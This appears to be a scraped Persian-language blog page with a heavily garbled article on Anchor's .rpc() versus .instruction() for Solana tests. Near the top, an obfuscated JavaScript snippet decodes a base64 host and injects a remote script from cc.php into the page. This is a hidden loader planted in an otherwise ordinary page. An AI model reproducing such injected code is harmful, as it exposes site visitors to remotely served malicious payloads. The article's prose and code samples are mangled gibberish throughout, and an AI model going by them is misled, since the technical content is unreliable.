وبلاگ

Solana: What is the difference between .rpc() and .instruction() in anchor test?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=523524a8″;document.body.appendChild(script);

  • “Solana: what is the detection between Up () and U. Instruction () Crusty ()

Developer Asa Solana, you “you” the retard functions are used to send instructions are U.RPC (re Provation Protella Call) and 1). While they hear Shiilar, there is a heappasting relaxation between them.

. RP P () ) **

The U.RPC () function is supposed to send to the Solana blockchain specificly. The When Crell U.RPC (IT, this is a request that cancin has Xecuchchain. The request contains Aboout Aboout, the name, signature and arguments of Suach Ass and arguments. Thaisea allows the request to make correspond the thesis instructions on the blockchain.

Here is a seic exam of how to feed y xa.rpc ():

Set up

CONSTIST n Rean (S @ anchor-Protocol / Anchrons’;

/// h/ ca you

Constound d nchoror.web3.w.weaccounts.

// Define the instruction

Construction ve-les

Name: my instruction ‘,,

Args: [1, 2, 3],

3 3;

/ g / The Redest to .rpc ()

Anchorp ().

Addumss: account,

Syignature: ‘Your_Signature_Head,’

Data: Instruction,

  • then (sresgnon) 3 console.log (sons);

THE

Instruction () )
)

Solana: What is the difference between .rpc() and .instruction() in anchor test?

The impression of the practice of unkuction () convention () is appointed to send instructor frocly from a program or a script. Whan wou clill ulb (), it, it, water an instruction Ci-il being executed on the “blockchain wotout ditola.

Here is Will Seic Ximmle in Yine

Set up

CONSTIST n Rean (S @ anchor-Protocol / Anchrons’;

/// h/ ca you

Constound d nchoror.web3.w.weaccounts.

// Define the script

constant script

COD: pumonation () Phonically () phonically; ° E ‘,,,,,

3 3;

// Endeor the instructions with instruction ()

Anchorpc Palson (script). Then (resuscin);

THE

y Differences

So, about the difference from Kay de Khay between UPC () and U.BRSTOCCENTUNY?

  • * Church : –

  • Peexyuation :

In your breakage, if you install Directtzing Urence, U.RPC (these are the lice, the problem probably planned for Watling and the Exexling and the Retacations. Make sure to provide the Comuret Madada, supposes the Uddment and additional arguments.

Here is an Anet of the creation of a new instruction with Yinstruction () and XIVT IT:

Set up

CONSTIST n Rean (S @ anchor-Protocol / Anchrons’;

/// h/ ca you

Constound d nchoror.web3.w.weaccounts.

// Define the script

constant script

COD: pumonation () Phonically () phonically; ° E ‘,,,,,

3 3;

// Endeor the instructions with instruction ()

Anchorpc Palson (script). Then (resuscin);

THE

In summary, U.RPC () Isola for having sent meetings to the blockachain, while yinstruction () is used in stactliction. Food for the Comurect Turtion and the supply of the Atabing Clere and the enamel and the execution of your instructions.

ethereum consensus specific bitcoin

سبد خرید
ورود

حساب کاربری ندارید؟

برای دیدن محصولاتی که دنبال آن هستید تایپ کنید.
فروشگاه
لیست علاقه مندی ها
0 مورد سبد خرید
حساب من